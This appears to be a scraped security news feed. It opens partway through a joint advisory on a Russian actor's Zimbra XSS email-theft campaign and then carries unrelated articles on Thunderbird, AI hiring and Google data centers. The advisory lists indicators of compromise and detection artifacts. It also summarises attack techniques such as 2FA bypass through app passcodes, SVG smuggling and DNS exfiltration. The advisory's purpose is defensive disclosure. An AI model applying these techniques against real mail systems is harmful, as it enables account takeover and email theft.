    6 Aug 2025 

    *.i.zmailanalytics[.]com 

    50a87d926621dd06389ba50d86e0ff574ed713a8 

    6 Aug 2025 

    13 Oct 2025 

    *.i.zimbra-metadata[.]com 

    c5a72420e7bb308d078e62128430897f82194c95 

    20 Aug 2025 

    14 Oct 2025 

    *.i.analyticemailmeter[.]com 

    8959c4d29e29f02ea94ea8bb21c8df2594c5549d 

    24 Sep 2025 

    8 Nov 2025 

    *.i.emailanalytics.com[.]ua 

    62eb76432597694edb01c1fe57aab0cfe03a7178 

    25 Sep 2025 

    27 Sep 2025 

    *.i.mailnalysis[.]com 

    cddf5c3be1e07f28140aed165b929bf2d614922a 

    12 Nov 2025 

    17 Dec 2025 

    *.i.zimbrastat[.]com 

    18b3ad442ce73cc8656d51d75bbd7c855f2cb7e8 

    18 Dec 2025 

    28 Dec 2025 

    *.i.zimbrasoft.com[.]ua 

    1b25041ececf2457eef0270fc1d785cec8ec9ded 

    21 Jan 2026 

    10 Feb 2026 

    *.i.synacorzimbra[.]nl 

    e4fe6466a4f9a4249fe330651e914e45bbdca44a 

    5 Feb 2026 

    22 Mar 2026 

    *.i.istc-cloud[.]com 

    b6b77c9a455225d525834a403ca9ef5481ed0447 

    12 Feb 2026 

    30 Mar 2026 

    LAUNDRY BEAR has used the following email addresses to procure resources used for this campaign:

    • ivanka.zurabishvili@proton[.]me,
    • zmul1@buildandconsulting[.]com,
    • garrysmithme@pinmx[.]net, and
    • hostingclient@pinmx[.]net.

    Phishing distribution

    LAUNDRY BEAR primarily relied on ProtonMail for distribution of malicious email. However, as stated above, LAUNDRY BEAR’s more recent efforts likely have shifted to distributing the payload through previous victims.  

    The following email addresses have distributed payloads attributed to this campaign:

    • c.laurent.ejfa@proton[.]me,
    • j.moreau.epsc@proton[.]me,
    • liberty.insights@proton[.]me,
    • certain email addresses (presumably compromised) at the isofts.kiev[.]ua domain (i.e., ending with @isofts.kiev[.]ua), and
    • certain email addresses (presumably compromised) at the navs.edu[.]ua domain (i.e., ending with @navs.edu[.]ua).

    Additionally, the following are SHA-256 hashes of email samples containing the malicious payload attributed to this campaign:

    • 98df604ecc57f884a2e6ce3266a0013ad64455cac48442c2312cfa4765007aaf,
    • 60db9abae75cd8ccc49dd7ea5feb41677566dcd442f12ebc5745ffd2810fb874,
    • b1f5beb1175fc5c7d1806a2f0d900eb124c54f0286c5c52b66eea7a6633adb1d, and
    • 1517b3caa495f6c4e832df9c75fc94667e3c233773f7fa4e056d5e30e5ead760.

    Post-compromise artifacts

    Currently, the script does not remove artifacts. This leaves additional opportunities to identify victims of this activity. While emphasis should always be placed on consistent monitoring of network traffic and endpoint activity, there are a variety of persistent artifacts described below that can be used to identify victims of this campaign.

    This Ulej capability relies on creating a significant number of SOAP requests to collect account information for exfiltration. ZCS logs from these requests are stored, by default, in the /opt/zimbra/log/mailbox.log file [D3-PA]. A significant amount of SOAP request activity that aligns with what was described in the Persistence and credential access and Collection sections of this advisory could indicate a potential compromise. Specific examples of high-risk SOAP request activity might include:

    • Many SearchGalRequest command requests from a single user over a short period of time;
    • Use of the CreateAppSpecificPasswordRequest command, especially in cases where it is creating an Application Passcode named “ZimbraWeb”; and
    • Use of the GetScratchCodesRequest command.

    While LAUNDRY BEAR uses the localStorage property to track what days had emails previously exfiltrated, defenders can use this property to identify victims of this campaign and determine the scope of exfiltrated information [D3-PA]. Review of the items stored in that property for an organization’s ZCS webmail client page on an endpoint device could indicate compromise if there are items named with a format of zd_comp_YYYY-MM-DD, as explained in the Collection section of this advisory.

    While Application Passcodes have non-malicious purposes, in this case instances of these passcodes with the name “ZimbraWeb” are almost certainly malicious. The ZCS webmail application can support 2FA natively and does not require the use of an Application Passcode, so there is no reason that there should be one named “ZimbraWeb.”

    In instances where organizations identify victims of this campaign, they should also examine the inbox of the suspected victim for the original phishing email [D3-MA]. If an email that has a payload exploiting CVE-2025-66376 is discovered, steps should be taken immediately to identify and quarantine other instances of emails with similar body content, senders, and subject lines to prevent further exploitation and exfiltration.  

    Remediation

    In the event an organization identifies activity associated with this campaign, that organization should take steps to minimize further exploitation. The organization should consider requesting that employees minimize use of the ZCS webmail client until the organization updates to a patched version that is not vulnerable to CVE-2025-66376.

    Organizations should use identifiers from the IOCs section of this report to identify any individuals compromised by this campaign and record the date(s) of compromise(s) to determine the scale and scope of emails exfiltrated.

    All users from the organization should have all Application Passcodes and 2FA scratch keys revoked. Affected organizations should require all employees to change passwords in line with establishing minimum password strength requirements [CPG 3.B] and creating unique credentials [CPG 3.C], specifically noting that compromised employees might have had any password stored in a password manager exfiltrated.

    Works cited

    [1] Netherlands General Intelligence and Security Service (AIVD) and Netherlands Defence Intelligence and Security Service (MIVD). AIVD and MIVD identify a new Russian cyber threat actor. 2025. https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf

    [2] Microsoft Corporation. New Russia-affiliated actor Void Blizzard targets critical sectors for espionage. 2025. https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/

    [3] Palo Alto Networks Unit 42. Russian Global Webmail Espionage. 2026. https://unit42.paloaltonetworks.com/russian-webmail-espionage/ 

    [4] Proofpoint. TA488 Targets Zimbra Mailservers with Half-Click Exploits. 2026. https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit

    [5] Seqrite. Operation GhostMail: Russian APT exploits Zimbra Webmail to Target Ukraine State Agency. 2026. https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/  

    Footnotes

    1 NĂĄrodnĂ­ Ășƙad pro kybernetickou a informačnĂ­ bezpečnost
    2 Forsvarets Efterretningstjeneste
    3 VĂ€lisluureamet
    4 Sotilastiedustelu
    5  Suojelupoliisi
    6 Direction générale de la sécurité intérieure
    7 Agence nationale de la sĂ©curitĂ© des systĂšmes d’information
    8 Agenzia Informazioni e Sicurezza Esterna
    9 Agenzia Informazioni e Sicurezza Interna
    10 Serviciul de Informații și Securitate al Republicii Moldova
    11 Agencja Wywiadu
    12 SƂuĆŒba Kontrwywiadu Wojskowego
    13 Centro Nacional de Inteligencia
    14 Nationellt CybersÀkerhetscenter
    15 MITRE and ATT&CK are registered trademarks of The MITRE Corporation. MITRE D3FEND is a trademark of The MITRE Corporation.

    Acknowledgements

    The authoring agencies acknowledge the contributions to this advisory from Palo Alto Networks Unit 42 and Proofpoint.

    Disclaimer of endorsement

    The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.

    Organizations have no obligation to respond or provide information back to the authoring organizations in response to this joint advisory. If, after reviewing the information provided, an organization decides to provide information to the authoring organizations, reporting must be consistent with all applicable laws and policies.

    Purpose

    This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.

    Contact

    United States organizations 

    • National Security Agency 
      Cybersecurity Report Feedback: CybersecurityReports@nsa.gov 
      Defense Industrial Base Inquiries and Cybersecurity Services: DIB_Defense@cyber.nsa.gov 
      Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, MediaRelations@nsa.gov 
    • Cybersecurity and Infrastructure Security Agency 
      CISA’s 24/7 Operations Center (contact@cisa.dhs.gov), or by calling 1-844-Say-CISA (1-844-729-2472). 
    • Federal Bureau of Investigation 
      If you or someone you know has fallen victim to this campaign, file a complaint with IC3. 
    • Defense Counterintelligence and Security Agency  
      DCSA Counterintelligence, Cyber Mission Center, Cyber Threat Operations Branch: DCSA.CI.CyberOps@mail.mil 
      Cleared Contactors (CCs) should contact their DCSA Counterintelligence Special Agent to report information pertaining to suspicious contacts or physical/digital efforts to obtain illegal or unauthorized access to the CC’s cleared facility/information, as required by 32 CFR 117. 
      Media/Public Inquiries: dcsa.quantico.dcsa-hq.mbx.pa@mail.mil  
    • Department of Defense Cyber Crime Center  
      Defense Industrial Base Inquiries and Cybersecurity Services: DC3.DCISE@us.af.mil 
      Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at https://dibnet.dod.mil 
      Media Inquiries / Press Desk: DC3.Information@us.af.mil 
    • Naval Criminal Investigative Service 
      To report criminal activity impacting the United States Navy, go to www.ncis.navy.mil and click “Submit a Tip”

    Dutch organizations 

    Australian organizations 

    • Australian Signals Directorate 
      Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories. 

    Canadian organizations 

    • The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices.  
      Report an incident or suspicious activity to the Cyber Centre by email at contact@cyber.gc.ca, online via the reporting tool Report a cyber incident - Canadian Centre for Cyber Security or by phone at 1-833-CYBER-88 (1-833-292-3788). 

    New Zealand organizations 

    United Kingdom organizations 

    Estonia organizations 

    Finnish organizations 

    French organizations 

    • French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: cert-fr@ssi.gouv.fr or by phone at: 3218 or +33 9 70 83 32 18. 

    Italian Organizations 

    Moldovan organizations 

    • Security and Intelligence Service of the Republic of Moldova (SIS RM): cybersec@sis.md 

    Polish organizations 

    Appendix A: MITRE ATT&CK tactics and techniques

    See Table 9 through Table 19 for all the threat actor tactics and techniques referenced in this advisory.

    Table 9: Reconnaissance 

    Technique Title 

    ID 

    Use 

    Gather Victim Identity Information: Credentials 

    T1589.001 

    The payload attempts to intercept a victim’s password from their password manager. 

    Gather Victim Identity Information: Email Addresses 

    T1589.002 

    The payload attempts to grab the victim’s email address from various data stores. 

    Search Open Websites/Domains 

    T1593 

    This group likely leverages public information to support target development. 

    Active Scanning 

    T1595 

    Port scanning can be used by this group to assist with determining exploitability of identified targets. 

    Search Open Technical Databases: Scan Databases 

    T1596.005 

    Various public datasets can provide information to support discovery of exploitable targets. 

    Search Closed Sources 

    T1597 

    Previously exfiltrated data can be used to enhance target development efforts. 

    Search Closed Sources: Purchase Technical Data 

    T1597.002 

    Commercial datasets can also be used to support target development efforts. 
    Table 10: Resource Development 

    Technique Title 

    ID 

    Use 

    Acquire Infrastructure 

    T1583 

    This group used Mullvad VPN to anonymize traffic sent to operational infrastructure. 

    Acquire Infrastructure: Virtual Private Server 

    T1583.003 

    This group procured VPS servers from a variety of vendors. 

    Develop Capabilities 

    T1587 

    The Ulej capability was developed likely for use by this group to conduct spear phishing campaigns. 

    Develop Capabilities: Malware 

    T1587.001 

    Development of a novel payload that steals a victim’s emails and other sensitive account information. 

    Develop Capabilities: Exploits 

    T1587.004 

    Development of a novel, at the time, cross-site-scripting (XSS) exploit that enables execution of arbitrary JavaScript. 

    Obtain Capabilities: Tool 

    T1588.002 

    Open source tools, such as Evilginx2, have also been used by the group. 

    Obtain Capabilities: Artificial Intelligence 

    T1588.007 

    The group appears to have leveraged AI to support development efforts. 

    Stage Capabilities 

    T1608 

    Flowerbed is deployed to a procured server in the cloud. 

    Table 11: Initial Access 

    Technique Title 

    ID 

    Use 

    Valid Accounts 

    T1078 

    This actor has used commercial datasets to acquire account credentials and gain unauthorized access to accounts. Additionally, this actor is believed to use previously compromised accounts to conduct spear phishing.  

    Trusted Relationship 

    T1199 

    The group sends malicious payloads to targeted individuals using previously compromised accounts that might have an established relationship with the target.  

    Phishing 

    T1566 

    The actors used spear phishing to lure users into opening malicious email. 

    Table 12: Execution 

    Technique Title 

    ID 

    Use 

    Exploitation for Client Execution 

    T1203 

    An XSS vulnerability was leveraged to execute the JavaScript payload. 

    Table 13: Persistence 

    Technique Title 

    ID 

    Use 

    Account Manipulation 

    T1098 

    Enabling IMAP and Application Passcodes provides persistent access to the compromised account. 

    Modify Authentication Process: Multi-Factor Authentication 

    T1556.006 

    Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. 

    Table 14: Privilege Escalation 

    Technique Title 

    ID 

    Use 

    Valid Accounts 

    T1078 

    This actor has used commercial datasets to acquire account credentials and gain unauthorized privileged access to accounts.  

    Table 15: Stealth 

    Technique Title 

    ID 

    Use 

    Obfuscated Files or Information: Command Obfuscation 

    T1027.010 

    Obfuscated JavaScript payload sent to targets to exploit the XSS vulnerability. 

    Obfuscated Files or Information: Encrypted/Encoded File 

    T1027.013 

    The JavaScript payload included both a Base64-encoded and XOR-encrypted inner payload. 

    Obfuscated Files or Information: SVG Smuggling 

    T1027.017 

    The payload was contained in an “onload” attribute within an SVG image included in the malicious email. 

    Use Alternate Authentication Material: Web Session Cookie 

    T1550.004 

    Previous campaigns using AiTM leveraged stealing and use of a victim’s session cookies to authenticate. 

    Table 16: Credential Access 

    Technique Title 

    ID 

    Use 

    Modify Authentication Process: Multi-Factor Authentication 

    T1556.006 

    Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. 

    Adversary-in-the-Middle 

    T1557 

    Previous campaigns used Evilginx2 as an AiTM toolkit to intercept credentials and session cookies. 

    Table 17: Collection 

    Technique Title 

    ID 

    Use 

    Data Staged: Remote Data Staging 

    T1074.002 

    Exfiltrated data was sent to an actor-controlled VPS prior to assumed long-term storage solutions. 

    Email Collection 

    T1114 

    This group has emphasized collection of emails. 

    Email Collection: Remote Email Collection 

    T1114.002 

    Emails are collected via API calls to the ZCS mail server and are not collected from emails stored directly on the victim’s device. 

    Automated Collection 

    T1119 

    Upon execution, the JavaScript payload automatically collects all relevant information in stages. 

    Browser Session Hijacking 

    T1185 

    The JavaScript payload leverages the user’s authenticated browser session to make API requests as the user. 

    Archive Collected Data 

    T1560 

    Emails are exfiltrated with GZIP compression. 

    Table 18: Discovery 

    Technique Title 

    ID 

    Use 

    Account Discovery 

    T1087 

    Stolen Global Access Lists provide the group with new users to target. 

    Table 19: Exfiltration 

    Technique Title 

    ID 

    Use 

    Exfiltration Over Alternative Protocol 

    T1048 

    Victim information was exfiltrated over both HTTPS and DNS. 

    Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol 

    T1048.002 

    Some payloads, especially ones with large amounts of data, were exfiltrated over HTTPS. 

    Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol 

    T1048.003 

    Some smaller bandwidth payloads were exfiltrated over DNS using Base32 encoding. 

    Appendix B: MITRE D3FEND countermeasures

    See Table 20 for a mapping of several of the cybersecurity countermeasures mentioned in this advisory.

    Table 20: MITRE D3FEND Countermeasures 

    Countermeasure Title 

    ID 

    Description 

    Application Hardening 

    D3-AH 
    • Organizations should immediately prioritize patching CVE-2025-66376.  
    • Organizations should promptly apply software updates to all email systems. 

    Isolate 

    d3f:Isolate 

    Organizations that cannot feasibly patch should use alternative mail clients. 

    Credential Hardening 

    D3-CH 

    Organizations should consider using a third-party authentication service that supports passkeys to mediate access to ZCS and other services that do not natively support passkeys. 

    Network Traffic Analysis 

    D3-NTA 

    Organizations should monitor for significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization. 

    DNS Traffic Analysis 

    D3-DNSTA 

    Organizations should monitor for frequent DNS queries to a suspicious domain for seemingly random subdomains. 

    Network Traffic Community Deviation 

    D3-NTCD 
    • Organizations should monitor for a sudden spike of connections to a server associated with a recently established domain. 
    • Organizations should monitor for connections to internal services, such as webmail, from VPN providers. 

    Identifier Activity Analysis 

    D3-IAA 

    Organizations should search for the listed known IOCs. 

    Process Analysis 

    D3-PA 
    • Organizations should search ZCS log files for specific commands used by the malicious script. 
    • Organizations should search the localStorage property in web browsers for the ZCS webmail client for “ZimbraWeb” Application Passcodes. 
    Message Analysis D3-MA Organizations that suspect they have victims of this campaign should search for emails with a malicious payload to identify other victims.
    ]]>         <![CDATA[Mozilla releases Thunderbird 153 with native Microsoft Exchange support]]> https://tsecurity.de/de/3689136/it-security-nachrichten/mozilla-releases-thunderbird-153-with-native-microsoft-exchange-support/ https://tsecurity.de/de/3689136/it-security-nachrichten/mozilla-releases-thunderbird-153-with-native-microsoft-exchange-support/ Thu, 23 Jul 2026 15:14:40 +0200 📰 IT Security Nachrichten tsecurity.de Thunderbird 153 “Meadow” has been released, introducing native Microsoft Exchange support alongside a redesigned account setup experience, user interface improvements, and security fixes. The update marks the first time Exchange accounts can be configured directly in Thunderbird without relying on third-party add-ons. Mozilla describes Thunderbird 153 as the culmination of the features and refinements introduced 


    The post Mozilla releases Thunderbird 153 with native Microsoft Exchange support appeared first on CyberInsider.

    ]]>         <![CDATA[How to navigate the AI talent wars]]> https://tsecurity.de/de/3689121/it-nachrichten/how-to-navigate-the-ai-talent-wars/ https://tsecurity.de/de/3689121/it-nachrichten/how-to-navigate-the-ai-talent-wars/ Thu, 23 Jul 2026 15:06:19 +0200 📰 IT Nachrichten tsecurity.de

    Cloudflare recently beat Q1 2026 earnings. Revenue up 34% year over year. EPS ahead of consensus. Full-year guidance raised. Then, in the same breath, they announced 1,100 layoffs, 20% of the company. CEO Matthew Prince’s explanation: “The way we work at Cloudflare has fundamentally changed.”

    Block did the same thing. Beat guidance, raised outlook, cut 4,000+ jobs. Both framed it as architecting for the AI era.

    This is not a contradiction. This is the new math boards are running. And if you’re a CIO who hasn’t started running it yourself, you’re behind.

    The benchmark has moved

    AI-native companies have quietly reset what “efficient” means for a technology organization. Midjourney generates over $500M in revenue with roughly 160 employees, over $3M per head. Anthropic hit a $14B annualized run rate in early 2026 with fewer than 3,000 employees. Across the top AI-native startups, the average revenue per employee is $3.48M, nearly twelve times the traditional SaaS benchmark of $300K.

    Boards aren’t comparing you to your 2019 self anymore. They’re comparing you to Anthropic.

    This is the pressure Cloudflare and Block are responding to. They’re not cutting people because the business is struggling. They’re cutting because investors have internalized a new denominator. Headcount is no longer a proxy for capacity; it’s a liability on the efficiency ratio.

    For CIOs, this creates a hiring problem that looks nothing like the cloud or mobile talent gaps of the past decade. Those gaps were about volume: hire 100 cloud engineers, absorb the cost, build the capability
 This one is about density; you’re not looking for 100 people. You’re looking for 10 who can deliver what 100 couldn’t, and justify $1M or more in value per seat.

    Finding bodies to fill seats has never been easier. Finding people who operate at that level of leverage is a different problem entirely.

    ‘Acqui-hires’ are a shortcut with a hidden cost

    Companies have figured out that recruiting AI-native talent one by one is too slow and that it’s faster to buy a team. Google’s acquisition of the Windsurf founders, Meta bringing in the Scale AI team, Accenture’s string of AI-focused acquisitions: these are acqui-hires dressed up as M&A. The premium on experienced AI talent is high enough, and the urgency real enough, that organizations are skipping traditional hiring loops entirely and buying their way in.

    I’ve been on the other side of this. My company, MadKudu, was acquired by HG Insights specifically to bring AI-native capability into an established enterprise business. HG needed change agents who had already figured out how to build and ship in this new era, not just people who’d read about it. That’s the thesis behind most of these deals.

    But there’s a cost that doesn’t show up in the acquisition price.

    AI-native teams are fast because they operate with a different set of defaults: full access to tools, minimal governance layers, the ability to experiment and ship without a six-week approval cycle. That operating model is not a perk; it’s the fundamental mechanism. It’s why a team of 10 can do what an enterprise team of 100 can’t.

    When you acqui-hire that team and then slot them into your existing approval processes, you’ve bought the people and killed the engine. The change agents you paid for become change-frustrated. The attrition that follows is expensive and predictable.

    The harder realization: acquiring an AI-native team means accepting how they work. That requires deliberately carving out space for them to operate differently, not just tolerating it but institutionalizing it. The acquisition is an organizational change program, not just a hiring event.

    The CIO’s real problem

    The governance stack most enterprise organizations run was designed for a headcount world. Every tool vetting cycle, every vendor review, every security approval was calibrated assuming you were managing a large team where consistency and control were the primary objectives.

    That calculus breaks when your goal is talent density. The same approval processes that protect against data leaks are now the reason your best people can’t do their best work. When it takes six weeks to approve a tool that your competitor’s team is already shipping with, you’ve traded velocity for the perception of safety.

    The practical fix is structured experimentation: clear guardrails, defined boundaries, but explicit permission to try tools before deciding whether to roll them out broadly. Gating everything prevents you from ever discovering what 10x productivity looks like.

    The skills inventory question is also more nuanced than it sounds. Job titles won’t tell you where the leverage is. You need to map the actual tasks within each function and assess which can be automated or augmented with AI. That’s where you find the people who, with the right tools, become your $1M/employee talent, not because you hired differently, but because you enabled better.

    This is also where the build-versus-buy question gets genuinely tricky. As AI reshapes how products are built and delivered, your internal operating model — how you work, how fast you ship, how you use data — is becoming core IP. Outsourcing delivery means outsourcing the part of the organization where your competitive advantage is now being built.

    Closing the gap without slowing down

    The AI talent wars are not primarily a recruiting problem. They’re a rethinking of what organizations are supposed to look like.

    Boards have a new benchmark. Cloudflare, Block, Amazon, Meta and others have already started restructuring to meet it, publicly, painfully, even while beating their numbers. The question for CIOs isn’t whether this pressure arrives; it’s whether you’re ahead of it or behind it when it does.

    The organizations that navigate this well won’t win by outbidding competitors for a handful of elite engineers. They’ll win by designing operating systems that amplify the leverage of the talent they do have, by enabling their best people rather than constraining them, and by treating AI fluency as a core organizational capability rather than a niche specialization.

    Talent density is the new headcount model. The sooner your governance, your tooling and your board conversations reflect that, the better positioned you’ll be when the next efficiency report lands.

    This article is published as part of the Foundry Expert Contributor Network.
    Want to join?

    ]]>         <![CDATA[Q&A: Google’s AI and computing chief talks about its shapeshifting data centers]]> https://tsecurity.de/de/3689101/it-security-nachrichten/qa-googles-ai-and-computing-chief-talks-about-its-shapeshifting-data-centers/ https://tsecurity.de/de/3689101/it-security-nachrichten/qa-googles-ai-and-computing-chief-talks-about-its-shapeshifting-data-centers/ Thu, 23 Jul 2026 14:55:21 +0200 📰 IT Security Nachrichten tsecurity.de

    Google’s AI offerings span its internal and cloud offerings. Its data centers are processing seven times more AI tokens compared to last year. To keep up, Google is upgrading its data-center hardware and software technologies at a faster clip. It plans to raise $80 billion to build new data centers. (See related story: Google transforms its data center architecture for agent era)

    Network World spoke with Mark Lohmeyer, vice president and general manager of AI and computing at Google, about how the company’s infrastructure is keeping pace with AI demand.

    Network World: What is the primary shift in infrastructure needs?

    Mark Lohmeyer: We’ve seen the rise of agents and agentic use cases. Years ago, it was the chat phase: Ask a question, get an answer. Now we’re in the agentic era, where you express your intent, agents spin off multiple sub-agents, working in parallel, preserving state. This is a radical shift in what infrastructure needs to do; make them fast, cost effective, secure, reliable. We’re delivering infrastructure optimized for the age of agents.

    NW: What’s the goal of the infrastructure buildout, and what should customers expect regarding costs?

    ML: Ultimately, it’s about enabling customers with leading-edge capabilities and models at scale cost-effectively. With agents, inference transactions increase by 50x, 100x versus non-agentic workloads. We’re driving the cost per transaction down exponentially. In our latest platforms, we reduce the cost by almost 2x for the same work. Customers serve twice the number of users at the same cost, directly driving profitability.

    NW: How are you addressing energy efficiency?

    ML: Energy is a critical resource, and Google has optimized for years. We design data centers and compute [to drive] high PUE (power usage effectiveness). We introduced liquid cooling over five years ago, and these latest systems are all liquid cooled. For agentic workloads, CPUs come to the forefront
 orchestrating agents, calling tools, doing evaluation loops in reinforcement learning. Our latest Axion-based CPU platform called N4A has energy efficiency and is significantly better than the prior generation and x86 comparables.

    NW: How do you think about token efficiency as you build-out systems?

    ML: Performance and efficiency gains are powered by co-design of the model and infrastructure. Gemini is trained on TPUs, primarily served on TPUs with high frontier model capability, in a token and cost-efficient way. This stems from co-design across the full stack.

    NW: How do you project what infrastructure will be needed years in advance?

    ML: Hardware cycles deliver a new next generation roughly every year, but design cycles are two years or more in advance. We work with DeepMind doing core research, to application teams taking models into production, to billions of users, to our team building infrastructure. We work upstream with DeepMind and application teams to understand what’s coming. Agents weren’t being broadly spoken of externally, but internally we had those insights around what they would need. That shows up in hardware design. We hit the timing right — these platforms are built for agents.

    NW: What’s the eighth generation TPU platform?

    ML: We deliver new platforms every year, and ones launched years ago are close to 100% utilized because demand for AI-optimized compute is high. The eighth-generation TPU platform is the first delivering two complete systems, from the chip all the way up to the network and storage and software, that are optimized.

    TPU-8t is optimized for training, and TPU-8i is optimized for inference. For TPU-8i, we increased SRAM on the chip to 384MB — three times the prior generation — and increased the HBM by 50%.

    NW: How are you approaching GPU and TPU compatibility?

    ML: People in a single cluster do not commingle GPUs and TPUs. We offer both options based on specific workload needs. We’ve been investing on the TPU side in using software frameworks customers are comfortable with on GPUs and enabling those on TPUs. For example, PyTorch and vLLM. Customers could have a pool of GPUs and TPUs, running vLLM on top of that. Start with a workload on TPUs, but if the TPU pool is fully utilized, spill to GPUs or vice versa. This works because it’s all leveraging the same compatible software layer on top.

    NW: How has the orchestration platform changed for agents?

    ML: Kubernetes is becoming the orchestration platform of choice for AI. Google is transforming GKE [Google Kubernetes Engine] into an agent-native orchestration solution. When expressing intent to an agent and it spins up multiple sub-agents, compute needs to spin up rapidly — TPUs or GPUs — without long delays, then run and spin back down. We’re optimizing at every layer of the GKE stack: significantly improving node startup time and how rapidly we start and stop containers. Lovable demonstrates this with GKE, spinning up hundreds of sandboxes for live coding sessions on their platform in parallel, paying for infrastructure when needed.

    NW: What is the role of the network and storage infrastructure?

    ML: The network is critical for AI. This requires creating large-scale clusters of GPUs or TPUs and enabling them to talk to each other in a high-performance way. We created the Virgo network — a collapsed network architecture, non-blocking within a data center, where multiple pods or NVLink72 domains connect together.

    In TPU8T, we can connect over a million TPUs together leveraging Virgo, creating large-scale, high-performance, reliable clusters that shrink innovation cycles. Storage is equally critical. In large-scale clusters, something is always failing. The ability to take snapshots and go back to a checkpoint is important.

    We’ve introduced Managed Lustre 10T, with 10 terabytes per second of bandwidth, 18 petabytes of storage in single clusters. This is 10 times faster than last year and 20 times faster than competition. We have Rapid Bucket, low-latency storage backed by Google storage systems. Both are impactful in large-scale training environments.

    NW: How does KV cache strategy differ between training and inference?

    ML: For TPU-8i, we increased SRAM on the chip to 384 megabytes — three times the prior generation — and increased the HBM by 50%. Storing KV cache directly in chip memory allows responding to inference requests much more rapidly and cost-effectively than going to an external system. For inference workloads, storing as much KV cache as possible on-chip is critical.

    We’re introducing a dedicated KV cache storage subsystem that works across GPUs and TPUs. As KV caches get larger, being able to fall back to this dedicated subsystem becomes critical. Loading model weights rapidly is important in dynamic inference environments where accelerators switch between models hour by hour.

    ]]>         <![CDATA[Google transforms its data center architecture for agent era]]> https://tsecurity.de/de/3689013/it-security-nachrichten/google-transforms-its-data-center-architecture-for-agent-era/ https://tsecurity.de/de/3689013/it-security-nachrichten/google-transforms-its-data-center-architecture-for-agent-era/ Thu, 23 Jul 2026 14:23:05 +0200 📰 IT Security Nachrichten tsecurity.de

    Google’s data center team is racing to turn its infrastructure into a well-oiled machine for AI and the onslaught of agents. At this year’s Google I/O, CEO Sundar Pichai shared startling numbers: Google’s data centers processed about 3.2 quadrillion tokens a month, roughly seven times more than the 480 trillion processed in May 2025.

    “Multiple agents work together, and now you’ve got millions, billions of users around the world potentially spinning off agents to help them do things,” said Mark Lohmeyer, vice president and general manager for AI and computing infrastructure at Google.

    Google’s new data-center blueprint includes updated hardware, software, and orchestration layers to keep always-running agents operational.

    In the LLM era, users sent prompts and received responses, and Google’s infrastructure was designed for latency and throughput. But agents could increase inference transactions by up to 100 times non-agentic workloads, Lohmeyer said. Google’s redesigned AI data-center stack has the elasticity for agents to be widely distributed, run for long periods, and make decisions independently.

    “We’re delivering new platforms every year, each one optimized for what we think the world is going to need for the age of agents going forward,” Lohmeyer said.

    Efficient data flow is key so agents can act, reason, and decide faster.

    Google adjusted the Google Kubernetes Engine into an agent-native environment, where agents could be quickly spun up in sandboxes and containers. “From an infrastructure perspective, you need to spin up a bunch of TPUs or GPUs very rapidly. Then you need to be able to run them and spin them back down,” Lohmeyer said.

    Google also made drastic improvements to its silicon to support its middleware changes. It recently introduced new AI chips, with the TPU-8t for training, and TPU-8i for inference. The 8t chip has three times more computing power than the previous-generation Ironwood chip. The 8i chip has 384 megabytes of SRAM and 288GB of HBM3e memory, which is 50% more than the previous-generation chip.

    The platform is optimized for KV cache (key-value cache), which stores important contextual information needed by agents to make decisions, which reduces the round trips to other memory and storage systems. “Being able to store more of the KV cache directly on the chip allows you to respond much more rapidly and cost-effectively,” Lohmeyer said.

    A new CPU called Axion N4A is more power efficient at agentic workloads such as orchestration and tool calling, Lohmeyer said.

    Google also made many network and storage improvements to cut training and inference time. A new technology called TPUDirect can move data from storage directly into the memory of the TPU quickly by bypassing any orchestration overhead, Lohmeyer said.

    A networking technology called Virgo can coordinate 1 million TPUs across a widely distributed network. It can also link up GPUs such as Nvidia’s latest CPU-GPU package called Vera Rubin. “In the case of Vera Rubin, we’ll be able to connect up to 960,000 GPUs leveraging Virgo,” Lohmeyer said.

    A new technology called Pathways is a distributed training framework that efficiently scales machine learning across millions of TPUs and GPUs. Pathways solves bottleneck issues typically associated with JAX, and both help coordinate across wide networks.

    “The software to orchestrate these large-scale distributed training jobs is also just as important as the hardware that it runs on top of,” Lohmeyer said.

    Weighing Google’s AI data-center stack

    Google is the only provider with its own data centers, software, hardware and models, said Jack Gold, principal analyst at J. Gold Associates. Google can optimize each on a regular cadence, which “many data centers can’t easily afford given the high cost of new chips,” Gold said.

    Google’s stack may not be best for every data center need compared to Nvidia’s general-purpose GPUs, CPUs, and networking. AWS and Microsoft are also creating their chips.

    “There is no real risk of Nvidia being replaced by Google in a big way. But with an ever-expanding market, there is plenty of room for all players,” Gold said.

    But Logan Wolfe, partner at Kyndryl’s global AI strategy and sovereign transformation, advised enterprises to adopt a multi-cloud strategy to reduce risk from system failures, however superior an infrastructure may be. “I think that kind of hybrid and liquid infrastructure, we’re definitely getting there,” Wolfe said.

    The cost per token varies depending on the provider of inference, whether that’s Microsoft, Google, OpenAI or Anthropic. That will matter as AI moves from experimentation to a powerful tool that drives business changes.

